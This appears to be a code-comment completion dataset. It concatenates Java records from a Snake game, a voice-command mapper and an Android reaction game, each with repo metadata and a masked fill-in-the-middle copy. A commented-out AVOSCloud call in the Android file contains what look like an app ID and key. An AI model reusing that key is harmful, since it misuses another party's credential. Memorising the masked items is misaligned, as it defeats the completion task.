System.out.println("st1:"+st1); if(st1.equals("前")||st1.equals("钱")||st1.equals("近")||st1.equals("进")){ System.out.println("result:a"); return "A"; }else if(st1.equals("后")||st1.equals("退")){ System.out.println("result:b"); return "B"; }else if(st1.equals("右")||st1.equals("有")){ System.out.println("result:d"); return "D"; }else if(st1.equals("左")||st1.equals("夺")||st1.equals("冠")){ System.out.println("result:c"); return "C"; }else if(st1.equals("停")||st1.equals("傻")||st1.equals("逼")){ System.out.println("result:i"); return "I"; } } return "null"; } }
0
26292_20
package view; /*标题栏高度30,但在linux下不占用window高度 *如何避免所有重绘,而只画其中一部分【1.截图,设置背景2.】 * 重绘指定区域【http://bbs.csdn.net/topics/220032015】repaint(x,y,width,height) * */ import model.MyFood; import model.MyPoint; import model.MySnake; import org.apache.log4j.Logger; //import org.junit.Test; import javax.swing.*; import java.awt.*; import java.util.ArrayList; public class GamePanel extends JPanel implements Runnable{ //主要是需要动态绘图 private static final GamePanel panel = new GamePanel(); private final int boxWidth = 25*2; private final int boxRow = MyWindow.getWindow().getWinHeight()/boxWidth; private final int boxCol = MyWindow.getWindow().getWinWidth()/boxWidth; private final ArrayList<MyPoint> pointArrayList = MySnake.getSnake().getArrayListSnake(); private final MyPoint pointFood = MyFood.getFood(); //上一轮的最后一个, private final MyPoint lastPoint = new MyPoint(-1,-1); private final static Logger log = Logger.getLogger(GamePanel.class); private boolean currentPanel = false; //是否改变行动方向,由按键控制 private boolean changeDirection = false; private int currentDirection = MySnake.getLeft(); private boolean firstPaint = true; //返回主菜单中断行走线程 private boolean moveOver = false; private static final Thread threadMove = new Thread(panel); //游戏是否完成标识[当开启线程时和重置状态时,此变量设为false private boolean gameOver = true; //线程是否已经开启 private boolean threadStart = false; static { } public boolean isThreadStart() { return threadStart; } public void setThreadStart(boolean threadStart) { this.threadStart = threadStart; } public boolean isGameOver() { return gameOver; } public void setGameOver(boolean gameOver) { this.gameOver = gameOver; } public static Thread getThreadMove() { return threadMove; } public boolean isMoveOver() { return moveOver; } public void setMoveOver(boolean moveOver) { this.moveOver = moveOver; } public boolean isFirstPaint() { return firstPaint; } public void setFirstPaint(boolean firstPaint) { this.firstPaint = firstPaint; } public MyPoint getLastPoint() { return lastPoint; } public boolean isChangeDirection() { return changeDirection; } public void setChangeDirection(boolean changeDirection) { this.changeDirection = changeDirection; } public int getCurrentDirection() { return currentDirection; } public void setCurrentDirection(int currentDirection) { this.currentDirection = currentDirection; } public boolean isCurrentPanel() { return currentPanel; } public void setCurrentPanel(boolean currentPanel) { this.currentPanel = currentPanel; } public int getBoxWidth() { return boxWidth; } public int getBoxRow() { return boxRow; } public ArrayList<MyPoint> getPointArrayList() { return pointArrayList; } public MyPoint getPointFood() { return pointFood; } public static Logger getLog() { return log; } public int getBoxCol() { return boxCol; } //绘图产生动画----- @Override public void paint(Graphics g) { super.paint(g); Graphics2D graphics2D = (Graphics2D) g; graphics2D.setRenderingHint(RenderingHints.KEY_ANTIALIASING,RenderingHints.VALUE_ANTIALIAS_ON); graphics2D.setColor(Color.MAGENTA); graphics2D.drawLine(0, 0, 800, 600); graphics2D.drawLine(0, 600, 800, 0); //绘制网格 graphics2D.setColor(Color.BLUE); int i; for (i = 1; i < boxCol; i++) graphics2D.drawLine(i * boxWidth, 0, i * boxWidth, 600); for (i = 1; i < boxRow; i++) graphics2D.drawLine(0, i * boxWidth, 800, i * boxWidth); paintDynamic(graphics2D); } //绘制蛇体,食物,其余动态效果 private void paintDynamic(Graphics2D graphics2D){ Stroke stroke = new BasicStroke(1,BasicStroke.CAP_ROUND,BasicStroke.JOIN_ROUND, 0,null,0 ); graphics2D.setStroke(stroke); for (MyPoint point:pointArrayList) { graphics2D.setColor(Color.MAGENTA); graphics2D.fillRect(point.getX() * boxWidth, point.getY() * boxWidth, boxWidth, boxWidth); graphics2D.setColor(Color.YELLOW); graphics2D.drawRect(point.getX() * boxWidth, point.getY() * boxWidth, boxWidth, boxWidth); } if (MyFood.getFood().getScore() == 2) graphics2D.setColor(Color.pink); graphics2D.fillRect(pointFood.getX()*boxWidth,pointFood.getY()*boxWidth,boxWidth,boxWidth); graphics2D.setColor(Color.MAGENTA); graphics2D.drawRect(pointFood.getX()*boxWidth,pointFood.getY()*boxWidth,boxWidth,boxWidth); //覆盖上一次的最后一个,是否需要【吃到食物就不需要】 if (!(lastPoint.getX() == -1 && lastPoint.getX() == -1)){ graphics2D.setColor(new Color(0x33,0xcc,0xcc));//面板背景色 graphics2D.fillRect(lastPoint.getX()*boxWidth,lastPoint.getY()*boxWidth,boxWidth,boxWidth); graphics2D.setColor(Color.BLUE); graphics2D.drawRect(lastPoint.getX()*boxWidth,lastPoint.getY()*boxWidth,boxWidth,boxWidth); } } @Override public void print(Graphics g) { super.print(g); } //坐标为x(col),y(row)方向 private void init(){ pointArrayList.add(new MyPoint(boxCol/2,boxRow/2)); pointArrayList.add(new MyPoint(boxCol/2+1,boxRow/2)); pointArrayList.add(new MyPoint(boxCol/2+2,boxRow/2)); } public static GamePanel getPanel() { return panel; } private GamePanel() { super(); setBackground(new Color(0x33,0xcc,0xcc)); init(); } @Override public void run() { log.info("move 线程启动。"); MyWindow.getWindow().setTitle("得分:"+MySnake.getSnake().getScore()); while (true){ synchronized (pointArrayList) { try { Thread.sleep(600); } catch (InterruptedException e) { log.info("行走发生异常:" + e.getLocalizedMessage()); try { log.info("挂起move线程"); pointArrayList.wait(); //唤醒线程后从哪开始执行 log.info("线程move被唤醒,开始执行"); //唤醒线程之前需要重置food snake 状态,或者是唤醒后第一执行 if (!moveOver)//如果移动没有结束,【也就是这局游戏没有结束】 continue; MySnake.getSnake().resetState(); GamePanel.getPanel().setCurrentDirection(MySnake.getLeft()); GamePanel.getPanel().setChangeDirection(false); } catch (InterruptedException e1) { log.info("挂起.的线程发生异常:"+e1.getLocalizedMessage()); } } } log.info("I am going..."); MyPoint point = new MyPoint(); //是否有转向 if (changeDirection){ changeDirection = false; }else { //好像没必要分开,转不转向,都不影响预先点的生成 } point.setY(pointArrayList.get(0).getY()); point.setX(pointArrayList.get(0).getX()); switch (currentDirection){ case MySnake.left:point.setX(point.getX()-1);break; case MySnake.down:point.setY(point.getY()+1);break; case MySnake.right:point.setX(point.getX()+1);break; case MySnake.up:point.setY(point.getY()-1);break; default:JOptionPane.showMessageDialog(this,"出现了未知方向"); } MyPoint pointFood = MyFood.getFood(); //如果撞到自己 for (MyPoint myp : pointArrayList) { if (myp.getY() == point.getY() && myp.getX() == point.getX()){ gameOver(); } } //给最后一个赋值 lastPoint.setX(pointArrayList.get(pointArrayList.size()-1).getX()); lastPoint.setY(pointArrayList.get(pointArrayList.size()-1).getY()); //吃到食物[改变数组长度,并使lastPoint为-1,-1(表示不覆盖)] if (point.getX() == pointFood.getX() && point.getY() == pointFood.getY()){ log.info("吃到食物。"); //插入头节点 pointArrayList.add(0,point); lastPoint.setY(-1); lastPoint.setX(-1); MySnake.getSnake().setScore(MySnake.getSnake().getScore()+MyFood.getFood().getScore()); MyFood.getFood().flush(); MyWindow.getWindow().setTitle("得分:"+MySnake.getSnake().getScore()); }else if (point.getX()<0||point.getX()>=boxCol||point.getY()<0||point.getY()>=boxRow){ gameOver(); }else {//正常移动,整体移位 int x,y; for (MyPoint myPoint:pointArrayList){ x = myPoint.getX(); y = myPoint.getY(); myPoint.setY(point.getY()); myPoint.setX(point.getX()); point.setX(x); point.setY(y); } } log.info("蛇长度:"+pointArrayList.size()+"头位置:"+pointArrayList.get(0).getX()+','+pointArrayList.get(0).getY()+ "食物位置:"+pointFood.toString()+"总分:"+MySnake.getSnake().getScore()); paintMove(); } } public void gameOver(){ JOptionPane.showMessageDialog(this,"game over\n" + "得分:"+MySnake.getSnake().getScore()); moveOver = true; //游戏处于结束状态,设置结束标识 gameOver = true; threadMove.interrupt(); /*根据jdk的void notifyAll()的描述,“解除那些在该对象上调用wait()方法的线程的阻塞状态。 该方法只能在同步方法或同步块内部调用。 如果当前线程不是对象所得持有者,该方法抛出一个java.lang.IllegalMonitorStateException 异常” * */ /*try { threadMove.wait(); } catch (InterruptedException e) { log.info("挂起:"+e.getLocalizedMessage()); }*/ MyWindow.getWindow().remove(this); MyWindow.getWindow().add(MenuPanel.getPanel().getjPanel()); MyWindow.getWindow().setTitle(MyWindow.getWindow().getWinTitle()); MyWindow.getWindow().repaint(); MyWindow.getWindow().validate(); } @Override public void repaint() { super.repaint(); } //行走: public void paintMove(){ repaint(); //重绘蛇身上轮最后一点 /* repaint(lastPoint.getX(),lastPoint.getY(),boxWidth,boxWidth); repaint(pointArrayList.get(0).getX());*/ /*//给最后一个赋值 lastPoint.setX(pointArrayList.get(pointArrayList.size()-1).getX()); lastPoint.setY(pointArrayList.get(pointArrayList.size()-1).getY());*/ } }
0874/tanChiShe
src/main/java/view/GamePanel.java
2,915
//给最后一个赋值
line_comment
zh-cn
package view; /*标题栏高度30,但在linux下不占用window高度 *如何避免所有重绘,而只画其中一部分【1.截图,设置背景2.】 * 重绘指定区域【http://bbs.csdn.net/topics/220032015】repaint(x,y,width,height) * */ import model.MyFood; import model.MyPoint; import model.MySnake; import org.apache.log4j.Logger; //import org.junit.Test; import javax.swing.*; import java.awt.*; import java.util.ArrayList; public class GamePanel extends JPanel implements Runnable{ //主要是需要动态绘图 private static final GamePanel panel = new GamePanel(); private final int boxWidth = 25*2; private final int boxRow = MyWindow.getWindow().getWinHeight()/boxWidth; private final int boxCol = MyWindow.getWindow().getWinWidth()/boxWidth; private final ArrayList<MyPoint> pointArrayList = MySnake.getSnake().getArrayListSnake(); private final MyPoint pointFood = MyFood.getFood(); //上一轮的最后一个, private final MyPoint lastPoint = new MyPoint(-1,-1); private final static Logger log = Logger.getLogger(GamePanel.class); private boolean currentPanel = false; //是否改变行动方向,由按键控制 private boolean changeDirection = false; private int currentDirection = MySnake.getLeft(); private boolean firstPaint = true; //返回主菜单中断行走线程 private boolean moveOver = false; private static final Thread threadMove = new Thread(panel); //游戏是否完成标识[当开启线程时和重置状态时,此变量设为false private boolean gameOver = true; //线程是否已经开启 private boolean threadStart = false; static { } public boolean isThreadStart() { return threadStart; } public void setThreadStart(boolean threadStart) { this.threadStart = threadStart; } public boolean isGameOver() { return gameOver; } public void setGameOver(boolean gameOver) { this.gameOver = gameOver; } public static Thread getThreadMove() { return threadMove; } public boolean isMoveOver() { return moveOver; } public void setMoveOver(boolean moveOver) { this.moveOver = moveOver; } public boolean isFirstPaint() { return firstPaint; } public void setFirstPaint(boolean firstPaint) { this.firstPaint = firstPaint; } public MyPoint getLastPoint() { return lastPoint; } public boolean isChangeDirection() { return changeDirection; } public void setChangeDirection(boolean changeDirection) { this.changeDirection = changeDirection; } public int getCurrentDirection() { return currentDirection; } public void setCurrentDirection(int currentDirection) { this.currentDirection = currentDirection; } public boolean isCurrentPanel() { return currentPanel; } public void setCurrentPanel(boolean currentPanel) { this.currentPanel = currentPanel; } public int getBoxWidth() { return boxWidth; } public int getBoxRow() { return boxRow; } public ArrayList<MyPoint> getPointArrayList() { return pointArrayList; } public MyPoint getPointFood() { return pointFood; } public static Logger getLog() { return log; } public int getBoxCol() { return boxCol; } //绘图产生动画----- @Override public void paint(Graphics g) { super.paint(g); Graphics2D graphics2D = (Graphics2D) g; graphics2D.setRenderingHint(RenderingHints.KEY_ANTIALIASING,RenderingHints.VALUE_ANTIALIAS_ON); graphics2D.setColor(Color.MAGENTA); graphics2D.drawLine(0, 0, 800, 600); graphics2D.drawLine(0, 600, 800, 0); //绘制网格 graphics2D.setColor(Color.BLUE); int i; for (i = 1; i < boxCol; i++) graphics2D.drawLine(i * boxWidth, 0, i * boxWidth, 600); for (i = 1; i < boxRow; i++) graphics2D.drawLine(0, i * boxWidth, 800, i * boxWidth); paintDynamic(graphics2D); } //绘制蛇体,食物,其余动态效果 private void paintDynamic(Graphics2D graphics2D){ Stroke stroke = new BasicStroke(1,BasicStroke.CAP_ROUND,BasicStroke.JOIN_ROUND, 0,null,0 ); graphics2D.setStroke(stroke); for (MyPoint point:pointArrayList) { graphics2D.setColor(Color.MAGENTA); graphics2D.fillRect(point.getX() * boxWidth, point.getY() * boxWidth, boxWidth, boxWidth); graphics2D.setColor(Color.YELLOW); graphics2D.drawRect(point.getX() * boxWidth, point.getY() * boxWidth, boxWidth, boxWidth); } if (MyFood.getFood().getScore() == 2) graphics2D.setColor(Color.pink); graphics2D.fillRect(pointFood.getX()*boxWidth,pointFood.getY()*boxWidth,boxWidth,boxWidth); graphics2D.setColor(Color.MAGENTA); graphics2D.drawRect(pointFood.getX()*boxWidth,pointFood.getY()*boxWidth,boxWidth,boxWidth); //覆盖上一次的最后一个,是否需要【吃到食物就不需要】 if (!(lastPoint.getX() == -1 && lastPoint.getX() == -1)){ graphics2D.setColor(new Color(0x33,0xcc,0xcc));//面板背景色 graphics2D.fillRect(lastPoint.getX()*boxWidth,lastPoint.getY()*boxWidth,boxWidth,boxWidth); graphics2D.setColor(Color.BLUE); graphics2D.drawRect(lastPoint.getX()*boxWidth,lastPoint.getY()*boxWidth,boxWidth,boxWidth); } } @Override public void print(Graphics g) { super.print(g); } //坐标为x(col),y(row)方向 private void init(){ pointArrayList.add(new MyPoint(boxCol/2,boxRow/2)); pointArrayList.add(new MyPoint(boxCol/2+1,boxRow/2)); pointArrayList.add(new MyPoint(boxCol/2+2,boxRow/2)); } public static GamePanel getPanel() { return panel; } private GamePanel() { super(); setBackground(new Color(0x33,0xcc,0xcc)); init(); } @Override public void run() { log.info("move 线程启动。"); MyWindow.getWindow().setTitle("得分:"+MySnake.getSnake().getScore()); while (true){ synchronized (pointArrayList) { try { Thread.sleep(600); } catch (InterruptedException e) { log.info("行走发生异常:" + e.getLocalizedMessage()); try { log.info("挂起move线程"); pointArrayList.wait(); //唤醒线程后从哪开始执行 log.info("线程move被唤醒,开始执行"); //唤醒线程之前需要重置food snake 状态,或者是唤醒后第一执行 if (!moveOver)//如果移动没有结束,【也就是这局游戏没有结束】 continue; MySnake.getSnake().resetState(); GamePanel.getPanel().setCurrentDirection(MySnake.getLeft()); GamePanel.getPanel().setChangeDirection(false); } catch (InterruptedException e1) { log.info("挂起.的线程发生异常:"+e1.getLocalizedMessage()); } } } log.info("I am going..."); MyPoint point = new MyPoint(); //是否有转向 if (changeDirection){ changeDirection = false; }else { //好像没必要分开,转不转向,都不影响预先点的生成 } point.setY(pointArrayList.get(0).getY()); point.setX(pointArrayList.get(0).getX()); switch (currentDirection){ case MySnake.left:point.setX(point.getX()-1);break; case MySnake.down:point.setY(point.getY()+1);break; case MySnake.right:point.setX(point.getX()+1);break; case MySnake.up:point.setY(point.getY()-1);break; default:JOptionPane.showMessageDialog(this,"出现了未知方向"); } MyPoint pointFood = MyFood.getFood(); //如果撞到自己 for (MyPoint myp : pointArrayList) { if (myp.getY() == point.getY() && myp.getX() == point.getX()){ gameOver(); } } //给最 <SUF> lastPoint.setX(pointArrayList.get(pointArrayList.size()-1).getX()); lastPoint.setY(pointArrayList.get(pointArrayList.size()-1).getY()); //吃到食物[改变数组长度,并使lastPoint为-1,-1(表示不覆盖)] if (point.getX() == pointFood.getX() && point.getY() == pointFood.getY()){ log.info("吃到食物。"); //插入头节点 pointArrayList.add(0,point); lastPoint.setY(-1); lastPoint.setX(-1); MySnake.getSnake().setScore(MySnake.getSnake().getScore()+MyFood.getFood().getScore()); MyFood.getFood().flush(); MyWindow.getWindow().setTitle("得分:"+MySnake.getSnake().getScore()); }else if (point.getX()<0||point.getX()>=boxCol||point.getY()<0||point.getY()>=boxRow){ gameOver(); }else {//正常移动,整体移位 int x,y; for (MyPoint myPoint:pointArrayList){ x = myPoint.getX(); y = myPoint.getY(); myPoint.setY(point.getY()); myPoint.setX(point.getX()); point.setX(x); point.setY(y); } } log.info("蛇长度:"+pointArrayList.size()+"头位置:"+pointArrayList.get(0).getX()+','+pointArrayList.get(0).getY()+ "食物位置:"+pointFood.toString()+"总分:"+MySnake.getSnake().getScore()); paintMove(); } } public void gameOver(){ JOptionPane.showMessageDialog(this,"game over\n" + "得分:"+MySnake.getSnake().getScore()); moveOver = true; //游戏处于结束状态,设置结束标识 gameOver = true; threadMove.interrupt(); /*根据jdk的void notifyAll()的描述,“解除那些在该对象上调用wait()方法的线程的阻塞状态。 该方法只能在同步方法或同步块内部调用。 如果当前线程不是对象所得持有者,该方法抛出一个java.lang.IllegalMonitorStateException 异常” * */ /*try { threadMove.wait(); } catch (InterruptedException e) { log.info("挂起:"+e.getLocalizedMessage()); }*/ MyWindow.getWindow().remove(this); MyWindow.getWindow().add(MenuPanel.getPanel().getjPanel()); MyWindow.getWindow().setTitle(MyWindow.getWindow().getWinTitle()); MyWindow.getWindow().repaint(); MyWindow.getWindow().validate(); } @Override public void repaint() { super.repaint(); } //行走: public void paintMove(){ repaint(); //重绘蛇身上轮最后一点 /* repaint(lastPoint.getX(),lastPoint.getY(),boxWidth,boxWidth); repaint(pointArrayList.get(0).getX());*/ /*//给最后一个赋值 lastPoint.setX(pointArrayList.get(pointArrayList.size()-1).getX()); lastPoint.setY(pointArrayList.get(pointArrayList.size()-1).getY());*/ } }
0
27314_5
package com.hyd.zjfb; import android.app.*; import android.content.*; import android.os.*; import android.util.*; import android.view.*; import android.view.View.*; import android.widget.*; import com.avos.avoscloud.*; import java.io.*; public class section_2_result extends Activity { private int score,score_,lineTxt_,gt; private Button e,f; private int level_code; private TextView b,c,d,g; private TextView a; private int whiteblocks=0,num,red,yellow; private String lineTxt,user; private File fd=new File("/mnt/sdcard/zjfb_present_0.txt"); private File fs=new File("/mnt/sdcard/zjfb_present_1.txt"); private File fp=new File("/mnt/sdcard/zjfb_present_2.txt"); private File fo=new File("/mnt/sdcard/zjfb_present_3.txt"); @Override public void onCreate(Bundle savedInstanceState) { requestWindowFeature(Window.FEATURE_NO_TITLE); super.onCreate(savedInstanceState); setContentView(R.layout.section_2_result); // AVOSCloud.initialize(this, "li8gesgfo0c3xky7br5ziclfsnh5mpxk5c6og2e7sr8kt9au", "uxdxh7ctrq5v9ahvbox1h3tm0ra66p4822fsexx6lm8358ns"); Bundle bundle = this.getIntent().getExtras(); score=bundle.getInt("result_s2"); red=bundle.getInt("red"); yellow=bundle.getInt("yellow"); whiteblocks=bundle.getInt("whiteblocks"); int extra= (int) (Math.random() * (98)) + 0; score_=score+extra; e=(Button) findViewById(R.id.section1resultButton1); f=(Button) findViewById(R.id.section1resultButton2); a=(TextView) findViewById(R.id.section1resultTextView3); b=(TextView) findViewById(R.id.section1resultTextView5); c=(TextView) findViewById(R.id.section1resultTextView6); d=(TextView) findViewById(R.id.section1resultTextView7); g=(TextView) findViewById(R.id.section1resultTextView8); try { File fr=new File("/mnt/sdcard/zjfb_level.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); level_code =Integer.parseInt( bufferedReader.readLine()); read.close(); }}catch (Exception e){} try { File fr=new File("/mnt/sdcard/zjfb_BestRecord2.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); lineTxt = bufferedReader.readLine(); read.close(); } } catch (IOException e) {} lineTxt_=Integer.parseInt(lineTxt); if(score> lineTxt_) { d.setVisibility(View.VISIBLE); try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_BestRecord2.txt"); } catch (IOException e) {} File file=new File("/mnt/sdcard/zjfb_BestRecord2.txt"); if(file.isFile() && file.exists()){ BufferedWriter fw = null; try { fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(file, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append(""+score); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } } try { if(fd.isFile() && fd.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成10%"); score_=(int)(score*1.1); } } catch (Exception e) {} try { if(fs.isFile() && fs.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成3%"); score_=(int)(score*1.03); } } catch (Exception e) {} try { if(fp.isFile() && fp.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成5%"); score_=(int)(score*1.05); } } catch (Exception e) {} try { if(fo.isFile() && fo.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成20%"); score_=(int)(score*1.2); } } catch (Exception e) {} //2 if(fd.isFile() && fd.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成13%"); score_=(int)(score*1.13); } if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成15%"); score_=(int)(score*1.15); } if(fd.isFile() && fd.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成30%"); score_=(int)(score*1.3); } if(fs.isFile() && fs.exists()&&fp.isFile() && fp.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成18%"); score_=(int)(score*1.18); } if(fs.isFile() && fs.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成23%"); score_=(int)(score*1.23); } if(fo.isFile() && fo.exists()&&fp.isFile() && fp.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成25%"); score_=(int)(score*1.25); } //3 if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成18%"); score_=(int)(score*1.18); } if(fd.isFile() && fd.exists()&&fo.isFile() && fo.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成33%"); score_=(int)(score*1.33); } if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成35%"); score_=(int)(score*1.35); } if(fo.isFile() && fo.exists()&&fp.isFile() && fp.exists()&&fs.isFile() && fs.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成28%"); score_=(int)(score*1.28); } //4 if(fd.isFile() && fd.exists()&&fp.isFile() && fp.exists() &&fs.isFile() && fs.exists()&&fo.isFile() && fo.exists()){ //判断文件是否存在 g.setVisibility(View.VISIBLE); g.setText("加成38%"); score_=(int)(score*1.38); } //得分 a.setText(score_+""); // a.setText(whiteblocks+""); if(score<7000) { b.setText("☆☆☆☆☆"); c.setText("你逗我玩呢是吧→_→"); } if(score>=7000&&score<11000) { b.setText("★☆☆☆☆"); c.setText("我对你的手速真是醉了=_="); } if(score>=11000&&score<14000) { b.setText("★★☆☆☆"); c.setText("还要再接再厉哦!O(∩_∩)O"); } if(score>=14000&&score<17000) { b.setText("★★★☆☆"); c.setText("就差一点点啦!再试一次吧?(^_^)"); } if(score>=17000&&score<20000) { b.setText("★★★★☆"); c.setText("手速不错!厉害!\\(≧▽≦)/~"); } if(score>=20000&&score<23000) { File fz=new File("/mnt/sdcard/zjfb_a_fivet.txt"); if(fz.isFile() && fz.exists()){} else{ try { FileWriter fh=new FileWriter("/mnt/sdcard/zjfb_a_fivet.txt"); } catch (IOException e) {} final AlertDialog Dialog; Dialog = new AlertDialog.Builder(section_2_result.this).create(); Dialog.show(); Dialog.getWindow().setContentView(R.layout.dialog00); Dialog.getWindow().findViewById(R.id.dialogupButton1) .setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Dialog.dismiss(); } }); level_code=level_code+20; try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_level.txt"); } catch (IOException e) {} BufferedWriter fw = null; try { File ft=new File("/mnt/sdcard/zjfb_level.txt"); fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append(level_code+""); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } b.setText("★★★★★"); c.setText("你已超越凡人!快去看看排行榜上的世界纪录吧!"); } if(score>=30000) { b.setText("卍卍卍卍卍"); c.setText("我对您本次成绩表示疑惑,请不要使用外挂等工具,如有下次必将重罚。@( ̄- ̄)@\n如有意见请反馈。"); } e.setOnClickListener(new OnClickListener() { @Override public void onClick(View p1) { Intent pp1=new Intent(); pp1.setClass(section_2_result.this,start.class); startActivity(pp1); finish(); } }); f.setOnClickListener(new OnClickListener() { @Override public void onClick(View p1) { Intent pp1=new Intent(); pp1.setClass(section_2_result.this,section_2.class); startActivity(pp1); finish(); } }); int num = (int) (Math.random() * 99) + 1; //num=10; if(num==10) { File fd=new File("/mnt/sdcard/zjfb_present_0.txt"); if(fd.isFile() && fd.exists()){ //判断文件是否存在 } else{ final AlertDialog Dialog; Dialog = new AlertDialog.Builder(section_2_result.this).create(); Dialog.show(); Dialog.getWindow().setContentView(R.layout.dialog1); Dialog.getWindow().findViewById(R.id.dialogupButton1) .setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Dialog.dismiss(); } }); try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_present_0.txt"); } catch (IOException e) {} } } if(num>10&&num<18) { File fd=new File("/mnt/sdcard/zjfb_present_1.txt"); if(fd.isFile() && fd.exists()){ //判断文件是否存在 } else{ final AlertDialog Dialog; Dialog = new AlertDialog.Builder(section_2_result.this).create(); Dialog.show(); Dialog.getWindow().setContentView(R.layout.dialog2); Dialog.getWindow().findViewById(R.id.dialogupButton1) .setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Dialog.dismiss(); } }); try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_present_1.txt"); } catch (IOException e) {} } } //经验值增加 try { File fr=new File("/mnt/sdcard/zjfb_level.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); level_code =Integer.parseInt( bufferedReader.readLine()); read.close(); level_code=level_code+3; try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_level.txt"); } catch (IOException e) {} BufferedWriter fw = null; try { File ft=new File("/mnt/sdcard/zjfb_level.txt"); fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append(level_code+""); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } else{ level_code=0; try { FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_level.txt"); } catch (IOException e) {} BufferedWriter fw = null; try { File ft=new File("/mnt/sdcard/zjfb_level.txt"); fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(ft, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fw.append("0"); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } } } catch (Exception e) {} //判断是否达成成就 File fl=new File("/mnt/sdcard/zjfb_a_gt.txt"); try{ if(fl.isFile() && fl.exists()){ //判断文件是否存在 InputStreamReader read=new InputStreamReader(new FileInputStream(fl),"GBK"); BufferedReader bufferedReader = new BufferedReader(read); gt =Integer.parseInt( bufferedReader.readLine()); read.close(); FileWriter ft=new FileWriter("/mnt/sdcard/zjfb_a_gt.txt"); BufferedWriter fw = null; try { fw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(fl, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 gt=gt+1; if(gt==3||gt==20||gt==100) { final AlertDialog Dialog; Dialog = new AlertDialog.Builder(section_2_result.this).create(); Dialog.show(); Dialog.getWindow().setContentView(R.layout.dialog00); Dialog.getWindow().findViewById(R.id.dialogupButton1) .setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { Dialog.dismiss(); } }); try { File fr=new File("/mnt/sdcard/zjfb_level.txt"); if(fr.isFile() && fr.exists()){ //判断文件是否存在 InputStreamReader read2=new InputStreamReader(new FileInputStream(fr),"GBK"); BufferedReader bufferedReader2 = new BufferedReader(read2); level_code =Integer.parseInt( bufferedReader2.readLine()); read2.close(); if(gt==3) level_code=level_code+20; if(gt==20) level_code=level_code+50; if(gt==100) level_code=level_code+200; try { FileWriter fg=new FileWriter("/mnt/sdcard/zjfb_level.txt"); } catch (IOException e) {} BufferedWriter fy = null; try { File fg=new File("/mnt/sdcard/zjfb_level.txt"); fy = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(fg, true), "UTF-8")); // 指定编码格式,以免读取时中文字符异常 fy.append(level_code+""); fy.newLine(); fy.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fy != null) { try { fy.close(); } catch (IOException e) { e.printStackTrace(); } } } } }catch (Exception e) {} } fw.append(gt+""); fw.newLine(); fw.flush(); } catch (Exception e) { e.printStackTrace(); } finally { if (fw != null) { try { fw.close(); } catch (IOException e) { e.printStackTrace(); } } } }} catch (IOException e) {} int weishu=score_%10; File fd=new File("/mnt/sdcard/zjfb_a_"+weishu+".txt"); if(fd.isFile() && fd.exists()){ //判断文件是否存在 } else{ final AlertDialog Dialog; Dialog = new AlertDialog.Builder(section_2_result.this).create(); Dialog.show(); Dialog.getWindow().setContentView(R.layout.dialog00); Dialog.getWindow().findViewById(R.id.dialogupButton1) 